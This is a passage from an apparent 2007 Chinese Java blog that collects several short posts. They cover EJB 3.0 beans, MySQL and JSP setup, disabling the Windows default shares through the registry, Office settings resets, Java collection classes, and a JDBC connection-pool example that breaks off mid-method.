    import javax.ejb.TimerService;
    @MessageDriven(
    activationConfig = {
    @ActivationConfigProperty(propertyName="connectionFactoryJndiName", propertyValue="jms/TopicConnectionFactory"),
    @ActivationConfigProperty(propertyName="destinationName", propertyValue="jms/myTopic"),
    @ActivationConfigProperty(propertyName="destinationType", propertyValue="javax.jms.Topic"),
    @ActivationConfigProperty(propertyName="messageSelector", propertyValue="RECIPIENT = 'MDB'")
    }
    )

    /**
    *监听可配置JMS队列或者主题和通过当一个消息发送到队列或者主题
    *调用它的onMessage()方法得到提醒的一个简单的消息驱动
    *该Bean打印消息的内容
    */

    public class MessageLogger implements MessageListener, TimedObject
    {

    @Inject javax.ejb.MessageDrivenContext mc;

    public void onMessage(Message message)
    {
    System.out.println("onMessage() - " + message);
    try
    {
    String subject = message.getStringProperty("subject");
    String inmessage = message.getStringProperty("message");
    System.out.println("Message received\n\tDate: " + new java.util.Date() + "\n\tSubject: " + subject + "\n\tMessage: " + inmessage + "\n");
    System.out.println("Creating Timer a single event timer");
    TimerService ts = mc.getTimerService();
    Timer timer = ts.createTimer(30000, subject);
    System.out.println("Timer created by MDB at: " + new Date(System.currentTimeMillis()) +" with info: "+subject);
    }
    catch (Throwable ex)
    {
    ex.printStackTrace();
    }
    }

    public void ejbTimeout(Timer timer)
    {
    System.out.println("EJB 3.0: Timer with MDB");
    System.out.println("ejbTimeout() called at: " + new Date(System.currentTimeMillis()));
    return;
    }
    }

    使用EJB

      客户端是访问Bean的应用程序。虽然没有必要保存在客户层,但是能够作为一个独立的应用,JSP,Servlet,或者另一个EJB。客户端通过Bean的远程或者本地接口访问EJB中的方法,主要取决于客户端和Bean运行在同一个还是不同的JVM中。这些接口定义了Bean中的方法,而由Bean类实际实现这些方法。当一个客户端访问该Bean类中的一个方法时,容器生成Bean的一个代理,被叫做远程对象或者本地对象。远程或者本地对象接收请求,委派它到相应的Bean实例,返回结果给客户端。调用一个Bean中的方法,客户端使用定义在EJB不是描述文件的名字查找到Bean。在以下实例中,客户端使用上下文对象找到命名为"StateLessejb"Bean。

    EJB 客户端实例

    import javax.naming.Context;
    import javax.naming.InitialContext;

    /**
    * 一个调用无状态会话Bean中方法的简单的Bean客户端
    */

    public class CalculateejbClient
    {
    public static void main(String [] args)
    {
    Context context = new InitialContext();
    CalculateEJB myejb =
    (CalculateEJB)context.lookup("java:comp/env/ejb/CalculateEJB");
    myejb.incrementValue();
    }
    }

    总结

      EJB3.0开发企业JavaBean是相当容易的。此规范使用元数据注释定义Bean的类型和暴露给客户端的方法。因此,无论你将创建一个执行特定任务的会话Bean还是映射一个表到实体Bean来更新数据,你都能象使用普通Java对象和接口一样进行处理,在业务方法中使用元注释向客户端暴露方法。既然你已经理解了EJB的基础,可以到OTN中EJB 3.0 Resources Page发现更多信息。
    posted @ 2007-09-11 16:26 jadmin 阅读(80) | 评论 (0)编辑 收藏
    一. 软件下载
      Mysql
    下载版本:4.1.11
    http://dev.mysql.com/downloads/mysql/4.1.html

    JDBC驱动
    下载版本:3.1.8
    http://dev.mysql.com/downloads/connector/j/3.1.html

    Mysql界面插件:mysql-front
    下载版本镜像:HongKong(我下回来安装就是中文版了)
    http://www.mysqlfront.de/download.html

    二. 软件安装
      1.安装mysql
    请参阅相关文章,推荐文章:http://blog.csdn.net/saulzy/archive/2005/04/23/359648.aspx

    2.JDBC驱动:mysql-connector-java-3.1.8
    这只是一个压缩包,并不需要安装,只要将其解压,我么使用的是文件夹mysql-connector-java-3.1.8里的文件:mysql-connector-java-3.1.8-bin.jar.

    3. Mysql界面插件:mysql-front
    这是一个安装程序,按照提示安装就可以了.

    三. 环境配置
    首先,我要说明的是我现在tomcat的安装路径是: D:\Program Files\Java\Tomcat;JDK的安装路径是:D:\Program Files\Java\j2sdk。

    在这里,需要配置环境变量的是JDBC驱动.在配置前先要把刚才说到的mysql-connector-java-3.1.8-bin.jar本地硬盘 某处(我放的地方:D:\Program Files\Java\mysqlforjdbc),然后根据你放的地方,配置classpath,我的配置是这样的:

      D:\Program files\Java\j2sdk\lib\tools.jar;

      D:\Program Files\Java\j2sdk\lib\mysql-connector-java-3.1.8-bin-g.jar;

      D:\Program Files\Java\mysqlforjdbc\mysql-connector-java-3.1.8-bin.jar
    配置这个的目的是让你的java应用程序找到连接mysql的驱动.

    配置完环境变量后还有很重要一步就是为JSP连接数据库配置驱动,这个其实很简单,就是把mysql-connector-java-3.1.8- bin.jar拷到某些文件夹里就行了,我在网上看了很多资料问了很多人,各种说法都有,我综合了一下,为了保险,我都全做了,呵呵,反正就是拷一个 400K的文件而已,现列出要把mysql-connector-java-3.1.8-bin.jar拷进去的文件夹,如下:
    D:\Program Files\Java\Tomcat\common\lib
    D:\Program Files\Java\Tomcat\shared\lib

    四. 数据库的使用

    Mysql安装完毕以后,还有一些要注意的地方(推荐文章):http://blog.csdn.net/saulzy/archive/2005/04/23/359811.aspx

      就象在文章提到的,mysql安装好后最重要一样就是要看数据库有没有作为系统服务启动了,所以在大家进行数据库操作前,应要看看,在操作系统的开始->运行->输入services.msc,确定你在安装时你设置的关于mysql的那个服务已经启动,这样你在操作数据库时不会报连接不上的错误.

      上面提到了一个较方便的mysql界面插件,但是这个界面是我在已经开始使用mysql后才找到的,刚开始我是在dos下用命令行进行操作的. 虽然那个界面也可以进行建库啊,设定权限等操作,但是,我觉得懂得在使用命令行也是一个很重要的技能,所以我先从命令行开始说,怎样简单使用mysql. 到后面会谈及mysql-front的使用.

    现在我想在mysql里建一个数据库shujuku,以及在数据库里建一个表biao.具体的命令如下(假设mysql我是刚安装好的)

    1. 进入dos状态(记住命令行的要运行在mysql的安装目录下的bin目录的)

      2. 连接mysql
    输入:mysql –h localhost –u root –p
    输入在安装时已设好的密码,就近入了mysql的命令编辑界面了。

    3. 使用mysql的基本命令(在mysql命令行编辑每输入完命令后最后一定要有分号,不然会报错)
    显示数据库:show databases;
    使用数据库:use 数据库名;

    4.建库
    命令:create database shujuku;

    5.为数据库设置权限(用户和密码)
    命令:grant all privileges on shujuku.* to test@localhost identified by “123456”;
    当你执行完这个命令以后,只要你再以用户名:test,密码:123456登录时你就只可以对shujuku这个数据库操作,这样避开使用root,对数据库的安全有很大帮助.

    6.建表
    命令:create table biao(id int(8) primary key,name varchar(10));

    剩下来的与标准sqsl命令基本上是一样的,具体操作略
    值得一提的是,你在命令行上输入"?",就会有mysql命令的简单帮助,如下:

    呵呵,那样,我们还可以知道退出,就是"exit",呵呵!

    五. 关于mysql-front的使用
      我找了好几个mysql的界面工具,觉得最简洁方便还是mysql-front,可惜的是要收费,不过还好有试用期,呵呵,可以先感受感受一下,最重要一点是mysql-front有简体中文版的,英文不好的我用起来就舒服多了.下面简单说说使用吧.

      首先,安装就不用说了,有向导,而且很简单.安装好后第一次运行时会跳出来一个要求添加对话的框,在这里你可以添加例如上面已经设定好的shujuku,过程如下:
    当你在注册的复选框里填上你在上面mysql设定好的用户名和密码后,在选择数据库框里就有shujuku 的数据库了,选上,按确定.进入mysql-fron后,你就会看到下面的界面,这是你就可以进行操作了.

    要说明的是,你还可以把root用户也加进去,这要你在mysql-fron的界面上选设置->对话->新建,再按上面进行就可以,出了root你还可 以加入更多的用户,方法还是一样的,设置不同的用户,是方便对不同数据库进行管理,呵呵,root是权限最高的,可不要随便让别人使用你的root用户, 保正你数据库的安全.

    六. JSP连接mysql
      现在就是尝试用jsp连接mysql了
    我在eclipse里建了个test_mysql.jsp页面,代码如下:

    <%@ page contentType="text/html; charset=utf-8" %>

    <%@ page language="java" %>

    <%@ page import="com.mysql.jdbc.Driver" %>

    <%@ page import="java.sql.*" %>

    <%

    //驱动程序名

    String driverName="com.mysql.jdbc.Driver";

    //数据库用户名

    String userName="cl41";

    //密码

    String userPasswd="123456";

    //数据库名

    String dbName="db";

    //表名

    String tableName="dbtest";

    //联结字符串

    String url="jdbc:mysql://localhost/"+dbName+"?user="+userName+"&password="+userPasswd;

    Class.forName("com.mysql.jdbc.Driver").newInstance();

    Connection connection=DriverManager.getConnection(url);

    Statement statement = connection.createStatement();

    String sql="SELECT * FROM "+tableName;

    ResultSet rs = statement.executeQuery(sql);

    //获得数据结果集合

    ResultSetMetaData rmeta = rs.getMetaData();

    //确定数据集的列数,亦字段数

    int numColumns=rmeta.getColumnCount();

    // 输出每一个数据值

    out.print("id");

    out.print("|");

    out.print("num");

    out.print("<br>");

    while(rs.next()) {

    out.print(rs.getString(1)+" ");

    out.print("|");

    out.print(rs.getString(2));

    out.print("<br>");

    }

    out.print("<br>");

    out.print("数据库操作成功,恭喜你");

    rs.close();

    statement.close();

    connection.close();

    %>

    然后把test­_mysql.jsp部署到tomcat处,如何部署可参考"配置Eclpise+tomcat并实现JSP的编写与部署",在浏览器中就可以看到结果了。
    posted @ 2007-09-11 09:40 jadmin 阅读(40) | 评论 (0)编辑 收藏

              自从Windows 2000操作系统开始,微软就添加了一个新的网络功能,叫做Windows默认共享。有朋友会问了,为什么叫“默认共享”呢?原来,这些文件夹与我们自己手工建立的共享文件夹之间有着一个本质的区别,在它们的共享名称最后都会有一个“$”符号,作用就是能够在网上邻居中隐藏自己。

             这样,除非我们预先知道这些默认共享的共享名,否则,按照常规方法是根本无法直接进入到这些文件夹的。

      起初这项功能主要是微软为了方便系统管理员的日常工作而设计的,并且在默认情况下它们就是开启的状态,但由于Windows的漏洞层出不穷,那加上这些预设的文件夹名称早已被大家所熟知,因此,这些原本是微软一番好意而设置的功能在使用时却成了一个巨大的安全陷井,严重地威胁着系统和服务器的运行安全,对于此类“鸡肋”功能我们自然就要“关他没商量”。

            【小提示】 从图中大家可以看到,默认的Windows共享大体可分为三类:第一类是“ADMIN$”共享,它所指向的就是当前的系统工作目录(WINNT目录)。第二类是类似于“C$、D$、E$……”的共享,它指向的其实就是本机上每个磁盘分区的根目录。而最后一类则是“IPC$”,它就是我们常说的“共享命名管道”,而著名的空连接漏洞也正是利用了这个IPC$ .

    修改注册表法

      方便指数:★★★

      推荐指数:★★★★★

      方案优势:可以从根本上解决系统自动启动默认共享的问题

      负 作 用:需要执行注册表操作,略显麻烦

      适用环境:该方案适合普通电脑系统及服务器系统

            关闭分区默认共享(如C$、D$、E$ ……)

      1. 点击“开始”菜单→“运行”,在弹出的“运行”对话框中输入“regedit”后回车,打开注册表编辑器

      2. 展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanmanserver\parameters”注册表项

      3. 双击右窗格中的“AutoShareServer”,将它的键值改为“0”即可。

             关闭管理默认共享(ADMIN$)

      1. 点击“开始”菜单→“运行”,在弹出的“运行”对话框中输入“regedit”后回车,打开注册表编辑器

      2. 展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanmanserver\parameters”注册表项

      3. 双击右窗格中的“AutoShareWks”,将它的键值改为“0”即可

      关闭IPC$默认共享

      1. 点击“开始”菜单→“运行”,在弹出的“运行”对话框中输入“regedit”后回车,打开注册表编辑器

      2. 展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”注册表项

      3. 双击“restrictanonymous”,将其键值设为“1”即可(注意,不是“0”,是“1”)

    posted @ 2007-09-08 19:34 jadmin 阅读(65) | 评论 (0)编辑 收藏
    UltraEdit 固然是个优秀的编辑器,但是安装它后,在IE中选”查看源文件“码的时候,默认不是Notepad了!

    而我常常只是为了搜寻一下某些关键字... ...

    一个简短的“查看源文件“的动作就要开启一个UltraEdit,感觉就是杀鸡用牛刀!

    找了一下,修正的方法如下,修改一下注册表:

    找到这里:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\View Source Editor\Editor Name

    把默认的编辑器修改为:

    C:\WINNT\NOTEPAD.EXE (for Windows 2000)
    C:\WINDOWS\NOTEPAD.EXE (for Windows XP/2003)

    这样就可以了!
    posted @ 2007-09-08 19:30 jadmin 阅读(46) | 评论 (0)编辑 收藏
      针对在编程过程中,大量使用“System.out.println(); ”语句进行调试,监测,给在后期部署及维护的过程中增加了一定难度,特编写本文档,规范JAVA控制台输出的函数的使用,增强代码的可维护性。

      一般在编码过程中,为了检测代码逻辑或显示计算结果等,我们需要在控制台中打印一些信息来确定代码的正确性,或查看程序运行状态。通常情况下,在JAVA中会直接使用函数“System.out.println()”或“System.out.print()”来向控制台输出信息。这些函数可能会出现在代码的任何位置,在代码行数不断增多及随着时间的推移,这些函数也会造成许多冗余的输出,且对其程序本身的功能无任何用处,当然也不会影响到具体功能的实现。但是在实际部署或进行后期维护时,当有些输出到控制台的信息影响到你,为你的部署及维护带来许多不便时,你想删除某个信息的输出却不是那么容易,就得在代码中一个一个去查找他们的位置,手动删除每一个不必要的“System.out.prin…”。

      其实要改变手动查找“System.out.prin…” 的烦恼也很简单,只要简单的遵循如下规则即可。

    <!--[if !supportLists]-->1. <!--[endif]-->编写一个JAVA类“XXXUtil ”,在里面设置一个布尔型的成员变量,再写一个方法来替换掉所有的“System.out.prin…”就行了!

    <!--[if !supportLists]-->2. <!--[endif]-->将此JAVA类放入你的工程中。


    KooeUtil.java:

    public class KooeUtil {

    // 该变量值也可以通过文件获取。

    public static Boolean isDebug = false;

    public static void echo (String str) {

    if (isDebug) {

    System.out.println(str);

    }

    }

    }

    <!--[if !vml]--> <!--[endif]-->
    具体实现:

    public class XXXUtil {

    // 该变量值也可以通过文件获取。


    public static Boolean isDebug = false;


    public static void echo (String str) {

    if (isDebug) { System.out.println(str); }

    }

    }

      将以上代码加入你的工程,然后将所有的“System.out.println”替换成“XXXUtil .echo”即可。

      这样我们就可以简单的通过设置isDebug值来控制工程中所有的输出函数是否输出,使程序更具有可维护性。
    posted @ 2007-09-06 18:44 jadmin 阅读(75) | 评论 (0)编辑 收藏
    Jython 2.2 发布了,这次发布的2.2版本实现了 Python 2.2 以及 2.3。

    Jython 是Python 的Java实现。无缝地结合了Java类与Python,使用户能以Python语言的语法编写在Java虚拟机上运行的程序。

    这次版本的新特性包括:

    new-style classes
    Java Collections integration
    PEP 302 implementation
    iterators
    generators
    __future__ division
    support for running on JDK1.5 and 1.6
    new installer
    a significant number of features to bring Jython in line with CPython


    官方站点:
    http://www.jython.org/
    posted @ 2007-09-02 14:40 jadmin 阅读(61) | 评论 (0)编辑 收藏

         合作。不要随便与人合作,与人合作要考虑好利与弊。如果有想法尽快去干,一个人努力地干,卖命地干。干到差不了,有资本了,可以与人短期性的合作。与人合作目标要明确。

         努力。工作要努力,随随便便过日子过四五年也是过,稍微努力地过四五年也是过,努力地过四五年也是过,何不努力好好地干。如果努力地过好四五年,这对我们以后的人生很有帮助。

         吃苦耐劳。不要怕吃苦。在创业阶段,我们要的是名气,是经验,有时候在保本的情况下可以以低价策略来和别人竞争。我们出卖的是点脑力活,力气活,年轻人,睡一觉起来什么都恢复了。

         目标。生活要有目标,不仅仅是事业(赚钱)的目标,其他方面也要有目标,如爱情方面的目标、健康方面的目标、家庭方面的目标。各个目标都要重视。只赚了钱,不算人生的成功。

         虚心学习。多与比自己大的人(长辈)、成功人士交流学习,要虚心听取、认真分析他们的意见和建议,以免自己以后走弯路。

         了解社会。多了解社会、多实践、多分析某些社会现象的因果厉害关系。认真分析身边发生的某些事情。正视社会的阴暗面。分析社会上某些不良风气,不要清高自傲,也不要随波逐流。某些时候办事情,也需要这方面的帮助。

         自由。出来外面做事情,关键是自由、愉快,能学到知识。每走一步都要分析,不要因某一小点利益限制了自己的自由。

         计划。给自己定一个五年计划、十年规划。每季度做什么事情、每个月做什么事情,甚至每天做什么事情,有个计划,有个目标比较好。不要每天昏昏恶恶。几年后你会发现,几年来一直没有目标,什么也没有做成。

         胆量。你是工人的子弟,或是农民的儿子,难免思想狭隘。不要盲目、盲从,也不要胆小怕事。多锻炼,大胆去做事情,只要不违法。大胆去做,即使失败了,也为下次积累了经验。“商场如战场”,这句话一点不假。想想,在战场上,不是你死就是我亡。

         谋略。人生活在社会上,就是要用自己的智慧谋略和别人斗智斗勇。即使有时你不想和别人斗,别人也要和你争。既然不能退让,何不争一争。古往今来,某些人的成功,不是电视小说里说的那么偶然,有其必然性。生活中不玩点小技巧(犯法的不做、害人的不做),哪能那么容易就成功.

         不要害怕贫穷。也许你家里没有几十万上百万元,大胆地去做事情,不要怕贫穷。即使我们的事情做失败了,我们大不了回到起点,还是穷人。

         学习。不断充实自己,学习新的知识,多学点技能,为以后作准备,也可作为以后的娱乐消遣。如:驾驶技术、炒菜做饭、写文章等。

         惜时。如果以*都做了,我估计你的时间过得很快。我常听某某人说:“这一辈子,就象昨天今天一样。”毛泽东说:“天地转,光阴迫。一万年太久,只争朝夕。”“三十八年过去弹指一挥间”。不要因碌碌无为而悔恨!

         请记住,以上忠告如果能够做到了,你做什么都一定能够成功!

    posted @ 2007-09-01 22:22 jadmin 阅读(70) | 评论 (0)编辑 收藏

    童心

    ——无论你有多老,你的心不能变老

    音乐

    ——如果没有音乐,你的人生将会乏味无比

    浪漫

    ——偶尔浪漫一下,那种感觉就像一只小鸟在空中飞翔吧

    优雅

    ——何必要装的粗鲁呢,优雅一点总是好的

    沉思

    ——在你有一肚子火要发之前,先给自己10分钟沉思一会儿

    驰骋

    ——如果真的累了,就变成一只蝴蝶逃开一会吧,不要让自己太累

    纯洁

    ——现在的社会已经够混浊了,纯洁真是不容易做到呢

    勇敢

    ——做个勇敢的精灵,不惧狂风会撕碎你的翅膀

    可爱

    ——我相信,你会因为可爱而美丽

    posted @ 2007-09-01 22:12 jadmin 阅读(37) | 评论 (0)编辑 收藏

    1、word的恢复

    方法1、点开始--运行,输入"winword /a"(不含引号)
           回车后会启动word,所有界面和设置都恢复了初始状态,简单吧!

    方法2、首先关闭Word程序,然后进入Word程序的默认模板所在的目录Microsoft\Templates,将名为Normal. Dot的文件重命

    名为其他的文件名,然后再启动Word,其所有设置与界面已经恢复到刚刚安装完毕后的状态。
    (C:\Documents and Settings\登录用户名\Application Data\Microsoft\Templates,其中Application Data文件夹为隐含

    文件夹)


    2、excel的恢复
    删除 Excel11.xlb(Excel2003) 这个档后重新执行Excel,就会恢复Excel预设的菜单设定
    Excel Xp 的位置:C:\Documents and Settings\登录用户名\Application Data\Microsoft\Excel

    注:建议用搜寻档案 *.xlb(Normal. Dot)的方式


    posted @ 2007-09-01 18:07 jadmin 阅读(55) | 评论 (0)编辑 收藏
    //ArrayList
    {
    ArrayList arraylist=new ArrayList();
    arraylist.add(0,"end");//指定索引加入值
    //需注意的是,如果现有2个值,我加入索引为5的那么就会出现异常
    for(int i=0;i<2;i++){
    arraylist.add(i,String.valueOf(i));
    }
    System.out.println("ArrayList:");
    for(int i=0;i<arraylist.size();i++){
    System.out.print(arraylist.get(i)+";");
    }
    arraylist.add("0");//直接加入值到ArrayList的最后
    arraylist.add("0");
    System.out.print("\nArrayList\'s lastIndexOf(\"0\") is "+arraylist.lastIndexOf("0"));
    }
    //Arrays
    {
    String []array=new String[]{"a","b","c"};
    List list=Arrays.asList(array);
    System.out.println("\nArrays:");
    for(int i=0;i<list.size();i++){
    System.out.print(list.get(i)+";");
    }
    System.out.print("\nArrays\'s length is "+array.length);//打印数组的长度
    }
    //Collections
    {
    String []array=new String[]{"a","b","c"};
    List list=Arrays.asList(array);
    Collections.fill(list,"Fill");//用Fill填充全部元素
    System.out.println("\nCollections:");
    for(int i=0;i<list.size();i++){
    System.out.print(list.get(i)+";");
    }
    array=new String[]{"1","2","3"};
    List list2=Arrays.asList(array);
    Collections.copy(list,list2);//拷贝list2的数据进list
    System.out.println("\n"+list);
    Collections.swap(list,2,1);//调换索引为1和2的元素的位置
    System.out.println(list);
    }
    //EventObject
    {
    String s="hello";
    String s2=s;
    EventObject eventobject=new EventObject(s);//一个准容器类型,确切的归类它不是容器
    System.out.println("EventObject:");
    System.out.println(eventobject.getSource());
    System.out.println(eventobject.equals(s2));
    }
    //HashMap
    {
    HashMap hashmap=new HashMap();//一个速度最快的容器
    hashmap.put("0","c");
    hashmap.put("1","a");
    hashmap.put("2","b");
    hashmap.put("3","a");
    System.out.println("HashMap:");
    System.out.println(hashmap);//该容器有其内部的排序方式
    Set set=hashmap.keySet();//获取全部键
    Iterator iterator=set.iterator();
    while(iterator.hasNext()){
    System.out.print(hashmap.get(iterator.next())+";");
    }
    }
    //HashSet
    {
    HashSet hashset=new HashSet();//一个绝对不能重复的类型
    hashset.add("c");
    hashset.add("b");
    hashset.add("a");
    hashset.add("a");
    hashset.add("b");
    System.out.println("\nHashSet:");
    System.out.println(hashset);
    Iterator iterator=hashset.iterator();//取出元素
    while(iterator.hasNext()){
    System.out.print(iterator.next()+";");
    }
    }
    //Hashtable
    {
    Hashtable hashtable=new Hashtable();//一个完全可以由其他容器替换的老容器类型
    hashtable.put("0","c");
    hashtable.put("1","a");
    hashtable.put("3","c");
    hashtable.put("2","b");
    System.out.println("\nHashtable:");
    Enumeration enumeration=hashtable.elements();//获取元素,Enumeration已经不是主流,Iterator是它的下一代替代品
    while(enumeration.hasMoreElements()){
    System.out.print(enumeration.nextElement()+";");
    }
    }
    //IdentityHashMap
    {
    IdentityHashMap identityhashmap=new IdentityHashMap();
    identityhashmap.put("0","c");
    identityhashmap.put("1","a");
    identityhashmap.put("3","b");
    identityhashmap.put("2","a");
    System.out.println("\nIdentityHashMap:");
    System.out.println(identityhashmap);
    System.out.println(identityhashmap.containsKey("3"));//是否包含这个键
    System.out.println(identityhashmap.containsValue("a"));//是否包含值
    Set set=identityhashmap.entrySet();//传为Set类型
    System.out.println(set);
    set=identityhashmap.keySet();//全部键
    System.out.println(set);
    }
    //LinkedHashMap
    {
    LinkedHashMap linkedhashmap=new LinkedHashMap();
    linkedhashmap.put("0","b");
    linkedhashmap.put("2","a");
    linkedhashmap.put("1","c");
    linkedhashmap.put("3","b");
    System.out.println("LinkedHashMap:");
    System.out.println(linkedhashmap);
    System.out.println(linkedhashmap.containsKey("2"));//是否包含这个键
    System.out.println(linkedhashmap.containsValue("c"));//是否包含值
    Set set=linkedhashmap.keySet();
    Iterator iterator=set.iterator();
    while(iterator.hasNext()){
    System.out.print(linkedhashmap.get(iterator.next())+";");
    }
    }
    //LinkedHashSet
    {
    LinkedHashSet linkedhashset=new LinkedHashSet();//它包含了几种Set的属性但却没有自己的特色
    linkedhashset.add("c");
    linkedhashset.add("a");
    linkedhashset.add("a");
    linkedhashset.add("b");
    System.out.println("\nLinkedHashSet:");
    System.out.println(linkedhashset);
    System.out.println(linkedhashset.contains("a"));//是否包含对象
    Iterator iterator=linkedhashset.iterator();
    while(iterator.hasNext()){
    System.out.print(iterator.next()+";");
    }
    }
    //LinkedList
    {
    LinkedList linkedlist=new LinkedList();//自由使用是它的特色
    linkedlist.add("a");
    linkedlist.add(1,"c");
    linkedlist.addLast("b");
    linkedlist.addFirst("d");
    System.out.println("\nLinkedList:");
    System.out.println(linkedlist);
    //linkedlist.clear();//该方法清空容器
    //linkedlist.remove(0);//删除索引为0的元素
    //linkedlist.remove("d");//删除值为d的元素
    //linkedlist.removeFirst();//删除第一个元素
    //linkedlist.removeLast();//删除最后一个元素
    for(int i=0;i<linkedlist.size();i++){
    System.out.print(linkedlist.get(i)+";");
    }
    }
    //Stack
    {
    Stack stack=new Stack();//堆栈
    stack.add("b");
    stack.add(0,"c");
    stack.push("d");
    stack.add("e");
    stack.push("a");
    Enumeration enumeration=stack.elements();
    System.out.println("\nStack:");
    while(enumeration.hasMoreElements()){
    System.out.print(enumeration.nextElement()+";");
    }
    //后进先出
    System.out.println("\n"+stack.peek());
    System.out.println(stack.pop());
    System.out.println(stack.contains("d")+";"+stack.contains("a"));//是否包含该元素,有趣的事情发生了
    System.out.println(stack.search("c"));//非常有用的属性,检索,但是由后向前的排列
    }
    //TreeMap
    {
    TreeMap treemap=new TreeMap();
    treemap.put("0","d");
    treemap.put("2","a");
    treemap.put("1","b");
    treemap.put("3","c");
    System.out.println("\nTreeMap:");//可以对键排序
    System.out.println(treemap);
    System.out.println(treemap.firstKey());//返回第一个键
    Set set=treemap.keySet();
    Iterator iterator=set.iterator();
    while(iterator.hasNext()){
    System.out.print(treemap.get(iterator.next())+";");
    }
    }
    //TreeSet
    {
    TreeSet treeset=new TreeSet();//自动排序内容
    treeset.add("b");
    treeset.add("a");
    treeset.add("c");
    treeset.add("d");
    System.out.println("\nTreeSet:");
    System.out.println(treeset);
    System.out.println(treeset.first());//返回第一个元素
    Iterator iterator=treeset.iterator();
    while(iterator.hasNext()){
    System.out.print(iterator.next()+";");
    }
    }
    //Vector
    {
    Vector vector=new Vector();
    vector.add(0,"b");
    vector.add("a");
    vector.addElement("d");
    vector.add("c");
    System.out.println("\nVector:");
    System.out.println(vector);
    vector.set(2,"h");//替换掉指定索引的元素
    System.out.println(vector);
    Object []str=vector.toArray();
    for(int i=0;i<str.length;i++){
    System.out.print(str[i]+";");
    }
    vector.setSize(2);//重新设置大小为2
    System.out.println("\n"+vector);
    }
    //WeakHashMap
    {
    WeakHashMap weakhashmap=new WeakHashMap();
    weakhashmap.put("1","b");
    weakhashmap.put("2","c");
    weakhashmap.put("0","d");
    weakhashmap.put("3","a");
    System.out.println("\nWeakHashMap:");
    System.out.println(weakhashmap);
    System.out.println(weakhashmap.containsKey("3"));//是否包含键
    System.out.println(weakhashmap.containsValue("d"));//是否包含值
    Set set=weakhashmap.entrySet();
    Iterator iterator=set.iterator();
    while(iterator.hasNext()){
    System.out.print(iterator.next()+";");
    }
    //weakhashmap.remove("2");//删除该键对应的值
    //weakhashmap.get("1");//获取指定键的值
    }
    }
    posted @ 2007-09-01 16:27 jadmin 阅读(52) | 评论 (0)编辑 收藏
    1.    在业务层使用JDBC直接操作数据库-最简单,最直接的操作

    1)数据库url,username,password写死在代码中
         Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
         String url="jdbc:oracle:thin:@localhost:1521:orcl";
         String user="scott";
         String password="tiger";
         Connection conn= DriverManager.getConnection(url,user,password);  
         Statement stmt=conn.createStatement(
    ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
         String sql="select * from test";
         ResultSet rs=stmt.executeQuery(sql);

    2)采用Facade和Command模式,使用DBUtil类封装JDBC操作;
           数据库url,username,password可以放在配置文件中(如xml,properties,ini等)。
           这种方法在小程序中应用较多。

    2.DAO(Data Accessor Object)模式-松耦合的开始
    DAO = data + accessor + domain object

    例如User类-domain object (javabean)
    UserDAO类-accessor ,提供的方法getUser(int id),save(User user)内包含了JDBC操作
    在业务逻辑中使用这两个类来完成数据操作。

    使用Factory模式可以方便不同数据库连接之间的移植。

    3.数据库资源管理模式
    3.1 数据库连接池技术
    资源重用,避免频繁创建,释放连接引起大大量性能开销;
    更快的系统响应速度;

    通过实现JDBC的部分资源对象接口( Connection, Statement, ResultSet ),可以使用Decorator设计模式分别产生三种逻辑资源对象: PooledConnection, PooledStatement和 PooledResultSet。


    一个最简单地数据库连接池实现:
    public class ConnectionPool {

            private static Vector pools;
            private final int POOL_MAXSIZE = 25;
            /**
             * 获取数据库连接
             * 如果当前池中有可用连接,则将池中最后一个返回;若没有,则创建一个新的返回
             */
            public synchronized Connection getConnection() {
                   Connection conn = null;
                   if (pools == null) {
                          pools = new Vector();
                   }

                   if (pools.isEmpty()) {
                          conn = createConnection();
                   } else {
                          int last_idx = pools.size() - 1;
                          conn = (Connection) pools.get(last_idx);
                          pools.remove(last_idx);
                   }

                   return conn;
            }

            /**
             * 将使用完毕的数据库连接放回池中
             * 若池中连接已经超过阈值,则关闭该连接;否则放回池中下次再使用
             */
            public synchronized void releaseConnection(Connection conn) {
                   if (pools.size() >= POOL_MAXSIZE)
                          try {
                                 conn.close();
                          } catch (SQLException e) {
                                 // TODO自动生成 catch 块
                                 e.printStackTrace();
                          } else
                          pools.add(conn);
            }

            public static Connection createConnection() {
                   Connection conn = null;
                   try {
                          Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
                          String url = "jdbc:oracle:thin:@localhost:1521:orcl";
                          String user = "scott";
                          String password = "tiger";
                          conn = DriverManager.getConnection(url, user, password);
                   } catch (InstantiationException e) {
                          // TODO自动生成 catch 块
                          e.printStackTrace();
                   } catch (IllegalAccessException e) {
                          // TODO自动生成 catch 块
                          e.printStackTrace();
                   } catch (ClassNotFoundException e) {
                          // TODO自动生成 catch 块
                          e.printStackTrace();
                   } catch (SQLException e) {
                          // TODO自动生成 catch 块
                          e.printStackTrace();
                   }
                   return conn;
            }
    }

    注意:利用getConnection()方法得到的Connection,程序员很习惯地调用conn.close()方法关闭了数据库连接,那么上述的数据库连接机制便形同虚设。在调用conn.close()方法方法时如何调用releaseConnection()方法?这是关键。这里,我们使用Proxy模式和java反射机制。

    public synchronized Connection getConnection() {
                   Connection conn = null;
                   if (pools == null) {
                          pools = new Vector();
                   }

                   if (pools.isEmpty()) {
                          conn = createConnection();
                   } else {
                          int last_idx = pools.size() - 1;
                          conn = (Connection) pools.get(last_idx);
                          pools.remove(last_idx);
                   }
            
             ConnectionHandler handler=new ConnectionHandler(this);
                   return handler.bind(con);
            }

    public class ConnectionHandler implements InvocationHandler {
          private Connection conn;
          private ConnectionPool pool;
         
          public ConnectionHandler(ConnectionPool pool){
                 this.pool=pool;
          }
         
          /**
           * 将动态代理绑定到指定Connection
           * @param conn
           * @return
           */
          public Connection bind(Connection conn){
                 this.conn=conn;
    Connection proxyConn=(Connection)Proxy.newProxyInstance(
    conn.getClass().getClassLoader(), conn.getClass().getInterfaces(),this);
               return proxyConn;
          }
         
            /* (非 Javadoc)
             * @see java.lang.reflect.InvocationHandler#invoke(java.lang.Object, java.lang.reflect.Method, java.lang.Object[])
             */
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                   // TODO自动生成方法存根
                   Object obj=null;
                   if("close".equals(method.getName())){
                          this.pool.releaseConnection(this.conn);
